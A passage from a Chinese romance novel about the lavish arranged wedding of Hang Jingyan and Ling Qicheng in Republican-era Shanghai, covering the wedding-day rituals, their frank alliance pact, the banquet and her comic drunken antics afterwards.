杭景妍看着她们的举动在一旁捂嘴偷笑,眉眼弯弯。
凌栖珵站在房门前,整了整衣衫,抬手敲门。
扣,扣。
“景妍,开门。”
门内女傧相们笑声清灵。
“红包。”
凌栖珵身边的男傧相们纷纷拿出红包递给他。
他把红包一个个的通过门缝塞进去。
女傧相们从门缝中接过红包来,打开,一张张数着数目。
待数清后,他们都略微惊讶。
新郎竟然给每位女傧相一千大洋。
大家喜上眉梢,转头询问新娘子的意见。
“新娘子,同意放新郎进屋吗?”
这时,橘气球不知从哪儿跑了出来,喵喵叫着。
杭景妍俯身把它抱起在怀里,问它:“该不该把你爸爸放进来。”
橘气球哪里知道人类在说什么,不耐烦的‘喵喵’两声。
杭景妍狡黠的大眼睛一闪闪,貌似在憋着什么坏主意:“嗯嗯,我听懂了,气球,你放心。”
“气球说,要放人进来,要上供十条深海大鱼干给它。”
门外的人自然听到了屋内新娘的说话。
大家倒抽了一口冷气。
谁家接亲还带上猫猫零食来讨好新娘子的猫啊。
这可是独一无二。
大家都被难住了。
凌栖珵却很镇定,不慌不忙道:“我带来了东西,也要让我进去气球才能吃。”
女傧相开了一小条门缝,想偷看新郎是否那么神通广大,连猫的吃食都随身携带。
而屋外的男人们找准几位,一拥而上,纷纷挤了进来。
新郎也终于来到了新娘的面前。
杭景妍见状问:“给气球准备的吃食呢?”
凌栖珵答道:“在我家,它跟你过去不就有了。”
杭景妍忍俊不禁,捂着嘴巴笑,她也知道他肯定是不会把这写东西带在身上,只不过是个临时起意的小玩笑,到没想到他挺会钻空子。
她抚摸着怀里的气球,“你愿不愿意去爸爸家吃小鱼干啊。”
猫猫并不理会大人间的把戏,‘瞄’了声,从杭景妍手中挣脱,跳下床铺,开始在房间上蹿下跳,一会跳到桌椅上,一会又跳到其中一个男傧相的肩膀上,玩起了走钢丝。
闹的大家一顿惊慌。
被‘气球’跳上肩膀的男傧相动都不敢动,僵硬着脖子道:“你们谁能把它弄下来。”
男傧相从来没有近距离接触过小动物,被猫锋利的爪子抓着,难免心生害怕。
剩下的其他人也有点惊魂未定,踌躇着不敢上前。
杭景妍上前来,小心哄到:“气球,到妈妈这里来,妈妈带你去吃好吃的。”她一边说一边小心靠近,趁它不备,一把把它抱在了怀里,亲了亲它的脸,“一会妈妈带你去新家。”
说完她就把猫猫给了一旁的绮绿带下去。
男傧相顿时松了口气。
凌栖珵在一旁冷眼旁观了这一场动静,在这时候才恰好回答道:“它的行为不是正好说明了一切嘛,都迫不及待了。
杭景妍也哈哈大笑,她伸出雪白的脚丫子故作苦恼:“可是没有鞋,我怎么跟你走?”
几位男傧相赶忙帮新郎在房间各处寻找新娘子的婚鞋。
凌栖珵却不慌不忙,在床底下把鞋子拿了出来,小心吹去鞋面上被粘到的床底的灰尘,半蹲下来给新娘穿上。
把鞋藏到床底的女傧相惊讶他那么快就找到了鞋子。
“你怎么知道鞋子在床底的?”
“你眼神告诉我的。”
女傧相感慨,“景妍,你丈夫太聪明了。”
杭景妍不置可否,“别夸他,尾巴会翘到天上的。
新婚夫妇两出了房门,两人将前往客厅拜会女方父母。
杭老爷夫妻二人也盛装打扮端坐与客厅正中。
新婚夫妇给父母下跪敬茶。
杭老爷喝了女婿的茶给了一个大红包:“这是改口费。”
凌栖珵恭敬收下:“谢谢爸。”
杭老爷欣慰道:“以后我女儿就托付给你了。”
杭夫人在一旁流下不舍的眼泪,拉着女儿的手:“女儿,你过去一定要好好的。”
凌栖珵郑重的像杭夫人保证:“妈,您放心,景妍今后都有我保护。”
杭夫人一路陪着女儿到大门口,到了车边仍然依依不舍。
杭景妍坐上车,与母亲挥手告别。
“妈,以后我会常回来的,你怎么搞得永远见不着似的。”
杭夫人破涕为笑,抹了抹眼泪:“出嫁了不比在家里,以后可不能那么任性了。”
杭景妍并不想理会母亲的话,笑嘻嘻打岔过去。
“母亲回去吧,我走了。”
汽车缓缓开动,渐行渐远,车后镜中母亲的影子越来越小,直至不见。
这种离别的场景,让人不好受。
杭景妍回过头不在看身后,免得触景伤情。
之前一系列的仪式让穿着高跟鞋的她的脚酸痛不已,伸手不断揉捏着脚,转过头,却看见凌栖珵坐在一旁,气定神闲闭目养神,顿时气不打一处来。
她干脆脱了高跟鞋直接横放。
“帮我捏捏。”
凌栖珵低头憋了眼膝上的白嫩小脚,皱眉,满脸的不情愿,最终还是上手轻柔起细嫩的小脚。
他那么听话让杭景妍有点小得意。
“好好按,对你妻子好一点,你以后的日子才好过。”
凌栖珵忍不住弯了唇角,并未反驳。
车子一路平稳行驶,到了凌家。
凌栖珵率先下了车,绕过车门打开,扶着杭景妍小心翼翼出车门,免得动乱了凤冠霞帔。
杭景妍正发愁怎么护住这满头的珠翠,凌栖珵此举有点让人受宠若惊。
她扶着他的手出车门,用两人才能听到的声音:“你突然对我那么殷勤,转性了?”
凌栖珵一脸无辜:“刚刚不是有人说了,对妻子好一点,未来的日子才好过。”
杭景妍:“.......”
搬起石头砸自己的脚。
身后几辆车,男女傧相们和丫鬟绮绿带着猫猫也到了。
凌府
哥特式红砖上,点缀
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着绿叶白花,入口处用保加利亚进口的白玫瑰编织出拱廊,地下铺就红毯,左右两端铺满了白玫瑰,入目一片纯洁之美。
凌家的亲戚也来了一群,等在门口迎接着。
凌家的两姐妹,大房生的凌绘雨和二房生的凌绘雪站在一起。
凌绘雨一脸兴奋,为自己哥哥走入新的人生阶段而高兴。
新嫂子的性格她也很喜欢,未来两人可以一起闲话一起逛街。
老二凌绘雪则是黑着脸,上次杭景妍就让她难堪,这下正式进了门,更是没有她的地位。
新郎新娘在前后左右四个女傧相的陪伴下,踏着一旁乐队演奏的乐曲,缓缓步入正厅。
两旁的亲友们纷纷向新人撒着白玫瑰花瓣,纷纷扬扬的花瓣雨降落。
杭景妍在花瓣雨中眯着眼,纷纷扬扬的花瓣在眼前簌簌飘落,大家的欢乐之情感染了她,让她不由自主地笑了起来,并且伸出手试图接起飘落着的花瓣。
一旁的凌栖珵也微笑着,护着她。
这一刻的他们,让人相信,他们是幸福的。
进了门,首先便是给父母敬茶。
新婚夫妇去了上房拜见父母,二楼会客厅,金碧辉煌的欧式洛可可奢华装饰,房屋四周又挂满了红色绸缎,象征着喜庆。中式特色与西式装修奇怪地搭配在了一起。
凌老爷与凌夫人隆重打扮,一身正装坐在意大利进口小牛皮沙发上中央等着儿子儿媳,二姨太则坐在下首一侧。
新郎新娘,接过一旁下人准备的茶水,给父母下跪奉茶。
“爸,妈。喝茶。”
凌夫人接过儿媳妇手中的茶,轻抿一口,从佣人手中拿出早已准备好的红包,慈爱地握这儿媳妇的手:“好孩子,这是改口费。”
这个儿媳妇凌夫人是越看越喜欢。
有她在,未来的日子她也不会孤军奋战。
杭景妍接过红包,随手捏了下,厚厚一沓。
她暗暗吃惊,婆婆的改口费也太贵重了。
真是太看得起她了。
给凌老爷和凌夫人敬茶后,下人把二姨太引到了正中,
意思很明确,新人夫妇也要给她鞠躬。
杭景妍灵动清丽的双眸带着疑惑,看向一旁的新郎。
这辈子都没那么无语过,还要给小妾鞠躬。
一旁的凌栖珵脸色微变,终究没有说什么,僵着脸,双眼微沉,嘴角绷直,礼节性弯了弯腰。
杭景妍只好照做,但没人注意时,偷偷撇嘴,内心不屑。
这就是她讨厌嫁进这种豪门的原因。
封建腐朽,规矩多多。
二姨太堆着一脸假笑,客气地扶起杭景妍:“真是折煞我了,不敢当不敢当。”
杭景妍内心冷笑,心里暗暗道,我看你挺敢当的。
面上却客气道:“姨娘客气了,您是长辈,这是我们应该做的。”
凌栖珵也懒得在跟姨娘多说一句话,找了个借口,带着新娘下去休息了。
他带着杭景妍来到他们的婚房,一栋独立式的法式别墅。
杭景妍进入客厅,随手把头顶的凤冠甩了。瘫在了欧式牛皮沙发上。
“累死了,这婚不是人结的。”
凌栖珵也坐在沙发上闭目养神。
见他这副模样,杭景妍气不打一处来,随便捡了茶几上的橙子扔过去:“都是你这个坏蛋害的。”
“我这辈子都没受过这委屈,还要给小妾鞠躬。”
“就你家规矩多。”
凌栖珵伸手接住扔过来的橙子,在手中把玩。
“我家规矩是多,但是规矩是人建立的,人就可以去打破。”
他注视着橙子表皮,若有所指:“橙树想要结果,可不是要减去多余的枝叶以免分散养分吗?”
杭景妍若有所思,她开始看明白凌家的格局,也开始明白这桩婚姻的意义,更明白自己在这个棋局的意义。
“你想用我,用我家,去帮你对付二房?”
在上次凌家的大寿上,她就看出了两房不对付,没想到已经到了水火不容的地步。
凌栖珵:“你家需要凌家的资金,我需要你家的势力,这是两全其美的买卖。”
16. 第 16 章
杭景妍了然地点了点头:“这么说,你之前说喜欢我都是骗我的?”
凌栖珵掩饰性的咳了咳:“我还没到随便卖身的地步。”
杭景妍叹了叹,都走到了这一步,深究已经没有任何意思,豪门联姻而已,本来感情就不是该要求的。有感情很好,没感情就各过各的。
“我只有两个要求,一,你不能纳妾,二,你不能干涉我自由。”
凌栖珵:“我向来厌倦我爸的那一套,女人多了我嫌烦,你想玩摄影,干什么都随你,别给我找野男人,丢我面子就行。
杭景妍:“放心,你不丢我面子,我就不会丢你面子。”她伸出手来示意:“从此以后我们就是绑在一绳上的蚂蚱了,合作愉快。”
凌栖珵握上她的手,纤细洁白,莹润修长,看起来娇弱但掌心的温度透过肌肤传递给他,让他感受到力量,他用力地回握,稍稍用力,带着她重心不稳跌倒在他怀里,趁机搂紧,在她耳边轻声道:“合作愉快,我的妻子。”
“哈哈哈,你们甩下我们一大群人偷偷说什么悄悄话呢?”赵北辰端着红酒,爽朗大笑走进新房,身后跟着婚礼上的男傧相女傧相。
一群女傧相也纷纷涌上来,围在杭景妍身旁。
“景妍,你的新房好漂亮啊,这些摆设窗帘,都是欧洲进口的巴洛克风格吧。”
“哇,景妍,这台灯我早就想买了,在巴黎的店里下订单已经排了三个月了,还是你们财大气粗。”
“景妍,带我们参观参观新房子吧。”大家都围着她起哄着。
杭景妍含笑不语,求助的眼神望向凌栖珵,潜台词是,我哪里懂新房的布局。
凌栖珵看懂了她的意思,招呼来了个丫鬟。
小丫头看起来十七八岁左右,穿着一身浅绿花色粗布衣衫,扎了两个长辫,看起来聪明机灵。
凌栖珵介绍到:“这是倚翠,以后我们这方的事情就由她帮着绮绿一起打理。”
“倚翠,见过大少奶奶,带少奶奶去参观房子。”
倚翠恭敬地打招呼,“大少奶奶好。”
突然被叫少奶奶杭景妍多少有点不适应,适应了一会儿道:“带我和我的伴娘们去参观参观吧。”
倚翠领着杭景妍和几位女傧相一间间房间参观,从一楼参观到二楼,从楼下的厨房参观到楼上的书房卧室,收藏室。
在收藏室内,几位伴娘忍不住啧啧称赞。
眼前藏品丰富,她们半生少见。
“这可是齐白石的画,还有张大千,徐悲鸿。排的上名号的大家都有,简直了,我无法用语言形容。”喜爱字画的伴娘站在字画前,目不转睛。
倚翠在一旁:“老爷一生喜爱字画,少爷也受到老爷影响喜爱收藏大家的画作。”
杭景妍随意在收藏室逛逛,撇撇嘴,两手一摊,表示随意看,反正不是我的,反正我不喜欢。
“喜欢看就看吧。”
几人参观了收藏室,转而参观主卧。
主卧是个套件,外面有待客的小会客厅,铺着波斯地毯,意大利进口牛皮沙发,茶几上是意大利进口水晶瓶插着保加利亚进口的新鲜玫瑰。
走进卧室,大床也是意大利进口,整个床头用黄铜做成花枝妙曼的形态,其上镀黄金,配上法国进口的轻纱,恍若置身宫廷之中。
“这也太像欧洲的皇宫了吧!景妍,你老公也太宠你了。”
“这法国轻纱,我订了好几个月,他们都说没货,要排队,没想到你老公那么快都搞到手了。”
杭景妍倚在门框上,看着她们不断惊叹,简直无语凝烟。
这是凌栖珵花钱请来拍马屁的吧,就算这些东西很好,至于跟没见过世面似的吗?
“这些布置难道不是应该的吗,难道我杭景妍是随随便便就可以娶到手的吗?”
静冉的马屁马上送到:“是是是,我家景妍可是下凡的仙女,区区凡物,我们景妍多看它一眼都是它的荣幸,哪像他们那些没眼力见的。”
其他几位伴娘听闻,也是笑道:“我们那比你,伯父可是上海滩的颜料大王,你从小到大什么没见过,我们这次也是占了你的光才能开开眼。”
杭景妍被奉承的心情靓丽起来,“你们随便看。
她穿过卧室推开了阳台的门,站在观景台上俯瞰着整个庭院,远看整个凌家的别墅的布局也尽收眼底。
一旁的倚翠跟在杭景妍身后,为她介绍:“凌家的宅院是二十年前花重金从一名犹太商人手上买下,又请了白俄流亡而来的设计师设计的各类欧式风格。”
她想起来刚刚二姨太的嘴脸,问道:“你们二姨太住哪栋?”
“二姨太在靠西面小一点那栋楼。少奶奶如若不喜,她不太有机会碍你眼。”
杭景妍盯着那栋楼,若有所思:“她恐怕没你想的那么简单,树欲静而风不止。”
其他几人观摩完了卧室,也随之上了阳台。
观赏着哥特式屋顶与草暖英飞的花园。
“景妍,你这少奶奶生活真是无比惬意,纸醉金迷与草木山水结合。”
杭景妍这时难得称赞:“坐在这里俯瞰楼下郁郁葱葱的花园真是让人心旷神怡。
她顺势在观景台和几位小姐妹吃典型喝喝茶,欣赏难得的美景。
突然,有乐声阵阵传来。
刚想询问,管家上来,请她下楼,说各家的贵宾已到,中央花园开了欢迎午宴,少爷请少奶奶下楼迎接客人。
休息够了,杭景妍站起身来,“走吧,姐妹们,参观也参观够了,让我们下去吃起来,嗨起来吧。”杭景妍招呼着。
她拉着拖地长裙摆,小碎步快走下楼,像一只花蝴蝶,往繁花中飞去。
凌家除了在主楼前有一大片花园,主楼之后也有着一片花园,其他各房的屋子,皆是围绕这这片花园周围。
凌家大少爷的婚房则在花园的东面,从屋内出来,走两步便可以置身其中,欣赏其栽种的奇花异草。
现下,花园中摆上长桌,上面摆放着各类西餐,冷盘,点心,酒水,婚礼邀请而来的上海滩名流政要都盛装打扮,端着香槟,三三两两聚在一起交谈着。
乐队在一旁演奏悠扬的乐曲。
杭景妍和女傧相们也加入了进去,吃吃喝喝,享受着美妙的音乐。
下午,婚宴将在凌家旗下的大酒店举行。
杭景妍和凌栖珵提前抵达酒店准备。
凌家的长辈和杭家的长辈也在之后赶来。
凌氏酒店众人云集,宾客来往络绎不绝,酒店的大厅人声鼎沸,前来观礼的宾客中有互相认识的,在大厅中驻足打招呼,也有攀关系的,各式各样目的人们三三两两围坐一团,好不热闹。
楼上,新娘化妆间内,杭景妍穿上了裁缝手工制作了一个月的缎面婚纱,上万颗珍珠点缀其间,衬得她像19世纪欧洲宫廷走出的公主,雍容华贵,美艳不可方物。
设计师在她的身后,为她收紧腰带,在她的背后打上精致的蝴蝶结。
穿好婚纱,杭景妍坐在梳妆台上,梳妆师为她把两侧头发编到脑后,下面头发烫成微卷,披散在肩头,再披上闪烁着碎钻光芒的头纱,配着英国Garrand定制的皇冠。
一旁的女傧相简直看呆了。
“我们景妍,真是太美了,原谅我词穷,找不出形容我眼前的美女,这简直是仙女下凡。”
“就是,就是,景妍穿上这婚纱,就是上海滩第一仙女,无人能出其右。”
“看下这头纱上的碎钻,这缎面绣花,欧洲的公主都被你比下去了。”
杭景妍凝视这镜中的自己,也被镜中的自己倾倒,在精致的妆容下,一颦一笑,举手投足间感觉那般的缥缈,不真实。
她甚至疑惑,这是自己么。<
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p>“我觉得好不真实,像做梦一样,我是在仙界的仙女吗?”
“当然是啦,等会新郎官看到了一定移不开眼。”
杭景妍被她们说得,脸上浮起腼腆的笑容。
“扣,扣。”门外响起了敲门声。
“有人来了。”静冉说着,走过去开门。
门外,是新郎官凌栖珵身形颀长,一手插着口袋,随意的姿态。
“哟,新郎官这是迫不及待见新娘了。”静冉侧身让凌栖珵进房。
杭景妍抬眸从镜中看过去,“你怎么来了。”
静冉她们几位女傧相围在一起偷笑,“新郎官,新娘子美吗?”
“很好看。”
感觉他们有话要谈,静冉他们在新郎新娘无声的凝视中默默退场。
杭景妍用眼神无声地询问凌栖珵要干什么。
等到闲杂人等离开,凌栖珵从口袋里掏出一个深蓝色的首饰盒,打开,一条蓝钻项链赫然闪烁在眼前。
她忍不住发出小小惊呼。
凌栖珵伸出骨节分明,修长如玉般的手指捻起项链,打开扣子,为妻子带上。
钻石蓝色的光芒点缀在她晶莹润白的肌肤上,衬得她轻灵缥缈,似云中仙子,翩翩而来。
杭景妍抬起带着蓝钻的左手,纤细指间中的蓝钻与脖颈间的那抹蓝色光芒交相辉映,好似姐妹般。
瞬时间,恍然大悟,“一套首饰,你拆开送,这算盘也太精了。”
凌栖珵扶着小妻子莹润的肩,俯身与镜中的她对视,欣赏着他的杰作。
“这样,你不是可以拥有两倍的快乐吗?”
杭景妍抿唇轻笑,“你们男人都是那么会狡辩吗?”
男人并没有回答她的疑问,他牵起她纤细白皙的手,轻柔落下一吻。
“等会见,我可爱的妻子。”
等凌栖珵离开,静冉他们一大群在一旁偷偷观察的人,悄悄从门外探出头。
“我们可以进来了吗?”
杭景妍知道她们想看热闹的心里,笑了笑,“人走了,你们可以进来了。”
“新郎官这时候干嘛来了,迫不及待想见见新娘子的美貌吗?”
杭景妍从镜子中给了她一个无奈的眼神,伸手抬起胸前的钻石,“呐,他是送来这个。”
蓝色的钻石在暖黄的灯光下闪烁着七彩的光芒,让人不忍直视。
静冉用手指轻轻抚摸一下,钻石的冰冷沁入指尖。
“新郎官简直是太舍得下血本了。”
这颗蓝色钻石呈水滴形状,一共25克拉,传说是奥地利皇后收到的结婚礼物,后来奥匈帝国灭亡,这颗钻石也随之消失,没想到在他的手上。
杭景妍稍微摆正钻石在胸前的位置,欣赏着。纯白色的抹胸婚纱,搭配着蓝色水滴形钻石,像海洋的一滴眼泪。
浪漫又虚幻。
这样想着,嫁入凌家,好像也不是全无好处。
“娶我,当然是要下血本了。”
到了五点钟,有人来提醒新娘前往宴会厅,仪式即将开始。
杭景妍最后在镜子前看了一遍造型,没有错漏,便在五位女傧相的簇拥下走出化妆间来到二楼的宴会厅前。
宴会厅门前,大门紧闭,杭老爷已经门前等待着牵女儿入场,他一身中山装,衣服被熨烫的平整光滑,一丝不苟,胸前佩戴鲜花点缀,拄着象牙手柄的手杖,威严又带着慈祥。
杭景妍拉着婚纱的大裙摆,小碎步走至父亲身边。
“爸爸。”她小声称呼着。
“恩,准备好了?”
“恩。”杭景妍应声,挽着父亲的臂弯,在门前等待着。
其他几位女傧相也按照要求站在了自己的位置,前面两位,后面三位。
“现在有请新娘入场。”
随着厅内司仪的声音,宴会厅的大门缓缓打开。
17. 第 17 章
宴会厅内,红毯延伸到尽头,两边点缀着香槟玫瑰,终点处,凌栖珵身着剪裁得体的西服燕尾服在等待,矜贵清雅,英俊清隽。
站在光的中心,远远望去,如神祗临凡。
从出生到现在杭景妍还是第一次被那么多人围观,没来由的紧张,她挽着父亲手臂的手不自主的紧了紧。
在众人注视下,随着音乐的节奏,杭景妍无意识的跟着父亲的步伐踏上红毯。
短短十几米的红毯,没用两步就走到了尽头。
凌栖珵走下台阶迎接。
杭正则把女儿的手交到女婿的手上:“以后,景妍就交给你照顾了,你可要好好对她。”
凌栖珵牵过妻子的手,修长宽大的手掌,轻轻收拢,手中柔荑宛若无骨。
“父亲放心,我会照顾好景妍。”
杭景妍随着男人的手,缓步走上台阶。
这一刻,她仍然觉得不真实。
在她心中她仍是个孩子,小时候曾无数次玩过扮演新娘的游戏,此时此刻,她仍然觉得是小时候的游戏扮演,她没有长大成人,也不想面对婚姻的复杂和责任。
小时候幻想当新娘,有美丽的婚纱穿,长大了只幻想回到小时候。
证婚人在台上主持仪式,把她从胡思乱想中拉回现实世界。
她混乱的大脑听到了她的名字。
“杭景妍,你愿意嫁给凌栖珵先生为妻吗?”
杭景妍努力甩掉脑中乱七八糟的想法,回答道:“我愿意。”
说完转头看着身边的男人。
他削薄的唇角勾起,含着浅淡的笑容,像是很满意她的回答。
混乱的家庭还来了个得力的岳家,怎么不叫人高兴,往后的日子,都只能成为一根绳上的蚂蚱,一荣俱荣,一损俱损了。
证婚人又问新郎同样的问题。
凌栖珵也是同样的回答。
证婚人拿出婚书,“请新郎新娘盖章签字。”
伴郎伴娘带着新郎新娘的印章上前来代替他们在婚书上盖上印章。
礼成。
“现在新郎是不是该亲吻新娘了。”下面不知道是谁大喊一句。
凌栖珵缓缓掀开新娘的头纱,薄唇靠近她的唇角:“合作关系确定,是不是要盖各章?”
杭景妍还没反应过来:“啊?”
男人的薄唇便附了上来,长驱直入。
她只感觉的男人的唇微凉,柔软,又带着强势。
底下观礼的人一片的起哄声。
还泛着不断想起的相机咔嚓声。
怎样看都像是幸福的一对璧人。
周围羡慕声响起,有女孩的家庭无不羡慕她的的好命。
杭景妍心想,这福气送给你要不要啊。
仪式结束开始了晚宴,两人换装,端起酒杯开始流水式的一桌桌敬酒。
凌栖珵在敬酒前吩咐身边的人给小妻子换了白水,立马被身边的酒肉朋友起哄。
“栖珵,你这可不厚道,哪有要白开水敬酒的道理。”
凌栖珵懒得搭理他们的反对,面不改色道:“她酒量不好,喝不了,我喝就行。想喝倒我可以,喝倒我老婆不行。”
“结了婚果然不一样,现在就开始护着了。”
杭景妍才不想让人看轻了,径直倒了半杯红酒,一饮而尽,展示空杯向在座各位示意。
“怎样,不就是一杯酒嘛。”
凌栖珵关心得拍着女人的背为她顺气,他实在是担心她的酒量,毕竟传闻中是一杯就醉。
“没事吧,你跟他们叫什么劲。”
说着对着这些酒肉兄弟举杯:“来吧,我妻子都喝了,今天你们不喝晕了不许回去。”
这桌兄弟纷纷举杯:“嫂子爽快,我们也干了。”
应付完了这桌,凌栖珵连忙拉着妻子离去,这群酒肉朋友,就是难对付。
此时,杭景妍的双颊开始染上红晕。
凌栖珵知道她酒劲上来了,伸手把她酒杯夺走,扔给了身后的侍从,吩咐:“换杯可乐来。”
侍从换了可乐上来给他,凌栖珵塞进女人的手中,“喝点解酒,剩下的随便应付过去就行,有我在,不需要你强出头,从今天开始你可以学着依赖我。”
酒精的作用下,杭景妍的脑子已经开始晕乎乎了,“你说什么。”
“我说跟着我。”
“嗯嗯。”杭景妍的大脑已经晕乎乎的不断点头。
剩下的几桌酒敬完,酒精早已上脑。
杭景妍忍不住开始笑起来,路也走不稳,左右摇摆。
就知道她喝完酒是什么德行,凌栖珵才拦着不让她喝。
明明酒量烂的要命,一杯就倒,还硬要逞强。
长辈还在主桌等着他们回去用餐,这女人真是让他头疼不已。
从来不会给人省心。
他扶着她的腰,带她往休息室去,免得她当众晕倒,闹出笑话。
喝晕的杭景妍还不老实,在他的怀中扭动。
凌栖珵又紧了紧环在她腰间的手臂,薄唇附在她小巧莹润的耳边:“别乱动,磨人的小妖精。”
杭景妍不知道是听懂了,还是被吓到了,竟然真的乖乖的听了他的话,随着男人的步伐去了休息室。
凌栖珵把小妻子放在了贵妃榻上,又找来了一条薄毯替她仔细盖好:“先休息会,等我回来。”
酒精的作用让杭景妍大脑的思维反应变得迟钝,好像有人在旁边贴心地为她盖上毯子,又在她耳边说了什么,说话声仿佛飘浮在远方,虚虚实实,听不真切。
她觉得眼皮有千斤重,好累,干脆闭上眼,沉入黑暗之中。
凌栖珵回到婚宴上,热闹仍然在继续,他仍然要应付各大家族长辈的问候。
“栖珵啊,景妍她如何了,一杯酒就不行了,酒量还是得多练练。”
长辈的话里带刺,这家长辈本来想把自己女儿嫁进凌家,没想到被杭家给捷足先登,自然是不爽,是以想尽办法挑刺。
凌栖珵面上丝毫看不出生气,带着恭敬不紧不慢回到:“酒喝多了也是伤身,不能喝不是更能保证身体健康,作为丈夫我又有什么必要让妻子牺牲自己的身体锻炼酒量呢?”
“世伯也该保重身体,美酒虽好,不要贪杯。”
被小辈一顿输出,这位李家的世伯哑口无言,脸色一片青,憋了老半天才憋出一句话。
“世侄说的有理。”
在一旁的杭夫人关心女儿,询问女婿:“栖珵,景妍她怎么样?”
凌栖珵安抚岳母道:“母亲放心,景妍只是喝多了,我已经让她睡下了,绮绿正在照顾她。”说完他便吩咐一旁的下人,“叫酒店厨房做几样她爱吃的小菜候着,等少奶奶醒来用些,再准备一碗醒酒汤。”
女婿的反应处处透着对女儿的关心,杭夫人也就放下心来。
“那就辛苦你,栖珵。”
一旁的凌夫人打趣道:“什么辛苦不辛苦的,照顾妻子是他应该做的。”
一番你来我往,结为亲家的两位夫人聊得其乐融融,只是一旁的李家张家脸色不好看了。
过了一两个小时,宴会也接近尾声,凌栖珵一一送走了各位长辈。
而同龄的朋友也喝得醉熏熏。一群路都走不稳的人在嚷嚷着要去闹洞房。
凌栖珵也喝了一点,但还保持着头脑清醒,现在的他只想把这些酒友赶快送走,吵着他脑袋都痛了。
“你们都喝的走不动了还想闹洞房,我房间门朝那里开你们都认不清吧,赶快回家睡觉去。”说着招呼黄包车来分别送走。
“我们懂,春宵一刻值千金。”几位少爷在下人的搀扶下坐上了黄包车离开。
繁华落尽,凌栖珵倍感疲累,拖着疲惫的身躯,回到酒店准备的休息室。准备带上妻子回家。
推开休息室的门,绮绿在一旁一直守着,准备好的吃食整齐摆放在茶几上。
凌栖珵随意坐在沙发上,抬手捏着眉间,询问绮绿:“少夫人没有醒来过?”
“回姑爷,没有。”
“给她喝醒酒汤了吗?”
“喝了。”
“你下去吧,这里的交给我。”
绮绿担心地看一眼小姐,便退下。
凌栖珵又在沙发上缓了缓,才起身去想叫妻子起身。
杭景妍在美梦中遨游,睡着正香,突然被人打断,闹起了脾气。
“你谁啊,干嘛抢走我的鸭翅膀,我的干烧海参,我的烤鸭。”
凌栖珵被她的疯言疯语逗乐了,
“你的烤鸭,龙虾在叫你呢,看,那是什么。”他指着放在茶几上的食物。
杭景妍听到烤鸭二字,迷蒙的眼睛亮了起来,她挣扎地爬起身,奈何手脚不听使唤,东摇西晃的,仿佛下一刻就要倒下。
凌栖珵无奈上前扶她,却被一把推开。“起来,挡着我的烤鸭了。”说完,摇摇晃晃的像她的‘烤鸭’走去。
好不容易坐到沙发上吃了两口,突然,杭景妍裂开嘴,大哭起来。莹白的小脸瞬间布满晶莹剔透的泪珠,梨花带雨,像无助的小动物,好不可怜。
凌栖珵的心都仿佛被泪水浸泡的又酸又软,每次她发动眼泪攻势,他都只能举双手投降。
他坐在她身边,抬起手轻缓地为她抹泪,声音也轻柔下来,生怕吓到她。
“怎么了,烤鸭不好吃吗?”
杭景妍黑色的眼眸如黑曜石般,带着层朦胧的水雾,像小鹿般盯着他道:“烤鸭是苦的。”
凌栖珵:“........。”
想了半天措辞,无言以对。
“小鸭离开妈妈太惨了,所以伤心变苦了。”
凌栖珵自知不能和喝醉酒的人讲道理,只好哄着她:“那
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我们不吃了,回家好不好。”
被酒精迷惑的大脑反应迟钝。杭景妍呆呆的任由男人放下她手中的烤鸭,擦干净手,带着出了房门。
酒店门外,司机已经在等着了。
凌栖珵打开后座车门,扶着她坐好,自己也绕道另一边上车,吩咐司机回凌府。
司机平稳快速地驾驶在绿荫大道上,月光透过树叶间隙倾洒而下,仿佛为他们照亮回家的路,车后座的女子合着双眸斜靠在一侧,月光透过车玻璃为她披上一层银光,月光与阴影交错在她的脸庞,半明半昧。
一路上,杭景妍都闭着眼睛休息着,凌栖珵也就放了下心。
突然,杭景妍睁开了眼,沉默无言地凝望着月亮,即兴赋诗:“春风又绿江南岸,明月何时照我还。”
凌栖珵:“.......”
就知道她喝醉了不老实,这是开始发起酒疯?
车子在凌府面前停下,凌栖珵打开车门把她俯下车。
回到自己的小楼,一路把她送进主卧室的大床上。
杭景妍被扔到通红色的大床上,后背接触到柔软的床垫,富有弹性的床垫惯性弹起,她被弹得睁开了迷蒙的双眼。
看见陌生的室内摆设,脑子迷迷糊糊:“这是哪,这不是我房间,我要回家。”说着她摇摇晃晃站起身。
凌栖珵还来不及整理自己,连忙过来稳住她:“这是你的家,你结婚了,以后住这里。”
听了他的话,杭景妍仿佛才想起自己已婚的身份,她点了点头:“我想起来了,我爸把我卖给了个有钱人家,换了一大笔钱呢。”她边说还伸出双臂比划:“有那么大。”
凌栖珵:“那不是卖,是联姻。”
杭景妍盯着男人俊秀的脸庞细细观察:“我想起来了,你不就是我爸要卖给我的那家金主吗?”
她自古自的端详着,拍了拍男人的脸,“那么英俊的脸蛋,娶个老婆还倒贴资金,亏本了你知道吗?你出去外面看看大把富婆小姐拿钱倒贴给你,哪里用得着你出钱?放着那么好的资源不用真是笨。”
凌栖珵被她这一番论调惊到了,歪理邪说,却好像挺有理的样子。但是听到她这样称赞自己的容貌还是挺开心,虽然他一直对自身条件有着充足的认识,但是从在乎的身边人嘴里听到又是另一种感觉。
不过现在她是个脑子不清楚的醉鬼,为了唬住她,他板着脸严肃:“既然你都知道,你是被你父亲卖过来的,你还不好好伺候你的金主,毕竟我可是放弃了自身优势花大价钱娶了你的。”
“现在金主叫你去洗漱,乖乖去床上睡觉。”
杭景妍好像真的被所谓的金主言论镇住了,乖乖按照指令去洗漱。
见到女人关上了洗漱间的门,凌栖珵松了口气,转去小厨房看看刚刚回来吩咐煮的醒酒汤好了没,准备喂小妻子喝下,就休息,折腾了一天他实在是精疲力尽了。
杭景妍洗漱完,把婚宴上的妆容都卸掉,整个人如出水芙蓉,清丽天然去雕饰,加上白色的居家服,迷蒙般的大眼睛,清纯中带着可爱。
凌栖珵见到眼前的一幕,眼眸不可抑制地沉了沉,他轻咳了一声,端过煮好的醒酒汤:“现在金主叫你把它喝了,然后睡觉。”
杭景妍喝了一口,怪异的味道让她整张脸都皱了起来,她脾气上来,直接倒扣碗口,把一碗醒酒汤从凌栖珵的头顶上倒下去。
红色的醒酒汤冒着热气,顺着凌厉英气的五官,划过雕刻般的下颌线,顺着性感的喉结,缓缓渗入衬衫内,汤水打湿了白色的衬衫,顺着湿透的布料,可以隐约看见胸肌,简直就是一副禁忌的美男诱惑。
但是,当事人的感受就不那么美好了。突然被从头浇一碗温热的醒酒汤,绕是在良好的教养都忍不住生气,凌栖珵微醺红润的脸色不由慢慢变青,眼神冰冷犀利。
可惜还不等他发火,杭景妍又趁他不注意握紧拳头给他肚子来上一拳。
